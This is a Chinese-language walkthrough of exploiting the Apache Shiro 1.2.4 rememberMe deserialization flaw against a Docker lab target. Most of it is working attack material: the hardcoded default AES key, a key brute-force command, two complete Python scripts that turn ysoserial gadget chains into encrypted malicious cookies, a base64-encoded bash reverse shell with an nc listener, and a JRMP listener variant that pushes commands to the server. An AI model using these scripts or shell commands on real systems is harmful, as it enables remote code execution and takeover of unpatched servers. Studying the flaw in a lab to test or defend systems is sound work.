Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

0x01 复现环境

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
docker ps

0x02 shiro rememberMe作用

shiro反序列化漏洞出现的位置在cookie中的rememberMe参数(记住我功能),该功能在用户在登录页面中勾选了“记住我”,用户提交用户名和密码给服务器后,服务器在set-cookie字段中会返回rememberMe的值,客户端(浏览器)会将服务器回显的rememberMe参数保存下来,即使在浏览器关闭后,再次打开该页面,无需登录也可以访问。
未勾选“记住我”的响应,不带rememberMe
勾选“记住我”的响应,带有rememberMe
服务器生成rememberMe及读取rememberMe的过程:
1596770105000-1.png-w331s.png
所以漏洞点在于构造特殊的rememberMe发送给服务器,服务器反序列化后造成命令执行。所以payload构造如下:
恶意class类=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

0x03 AES加密key碰撞

AES对称加密需要知道key,而shiro的key硬编码在代码中,在shiro源代码的AbstractRememberMeManager.java文件中,如果项目使用默认AES key或者复制其他程序员的代码中的key,即会把被反序列化攻击的风险引入。
源代码中默认的key
碰撞加密key的方法是依次用不同的key加密cookie的rememberMe参数发送给服务器,当key正确时,服务器不会返回header头中的Set-Cookie字段的rememberMe=deleteMe,如果key不正确,则会返回deleteMe。
爆破Shiro key脚本:https://github.com/Ares-X/shiro-exploit

python3 shiro-exploit.py check -u http://xxx/

0x04 命令执行POC

所需工具:ysoserial,编译方法见:


shiro_poc.py脚本:

# pip install pycrypto
import sys
import base64
import uuid
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("./payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

shiro_poc.py脚本与ysoserial-0.0.6-SNAPSHOT-all.jar放在一个文件夹。
再运行 python3 shiro_poc.py "shell命令" 例如python3 shiro_poc.py "ping test.xxx.dnslog.cn",即会在当前目录生成payload.cookie文件。
把访问靶机的请求的cookie替换成脚本的,发送给靶机,查看dnslog平台,即可发现命令成功执行。这里要注意一下,需要把JSESSIONID字段的值删掉,如果保留该字段,发现命令无法被执行。
shiro反序列化命令执行成功
此外,还可以用这种方法进行反弹shell:

  1. nc监听端口 nc -lvp 1234
  2. 使用Java Runtime 配合 bash 编码反弹shell命令:bash -i >& /dev/tcp/192.168.1.123/1234 0>&1编码为bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIzLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
    编码反弹shell命令
  3. 生成payload.cookie文件

    python3 shiro_poc.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIzLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"
  4. cookie替换rememberMe,然后发送,在nc监听端就能收到反弹shell了。

0x05 JRMP方法POC

JRMP方法POC与上面的POC脚本类似,只不过使用的是ysoserial JRMP模块生成漏洞利用代码,好处在于生成的代码长度更小,防止cookie过长被安全产品拦截。
shiro.py脚本:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print ("rememberMe={0}".format(payload.decode()))
  1. 生成rememberMe
    python3 shiro.py 192.168.1.123:6666 #表明使用RMI协议连接到192.168.1.123:6666
  2. RMI监听端监听端口并下发命令,命令使用 http://www.jackson-t.ca/runtime-exec-payloads.html 网站进行编码过
    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,cGluZyBhYWEuZHpyeG0zLmRuc2xvZy5jbg==}|{base64,-d}|{bash,-i}"
  3. 请求头cookie改成生成的rememberMe发送

payload发送到shiro服务器上后,shiro服务器即通过RMI协议连接到ysoserial监听端,监听端下发命令使得shiro服务器执行。这里如果下发的命令是反弹shell,即比上面那种反弹shell效果要好,因为cookie长度更简短。
shiro服务器RMI连接监听端流量

0x06 优秀的漏洞利用项目

图形化shiro反序列工具:https://github.com/feihong-cs/ShiroExploit-Deprecated
一键检测工具:https://github.com/sv3nbeast/ShiroScan
burp shiro检测插件:https://github.com/potats0/shiroPoc

0x07 解密攻击流量中的rememberMe字段

在线shiro rememberMe解密网站:https://sec.dog/shiroDecrypt.html

参考文档:
https://segmentfault.com/a/1190000012800154?utm_source=tag-newest
https://paper.seebug.org/1285/
https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ
https://blog.csdn.net/weixin_38307489/article/details/102455710
https://www.cnblogs.com/xiaozi/p/13239046.html
Last modification:January 9th, 2021 at 06:27 pm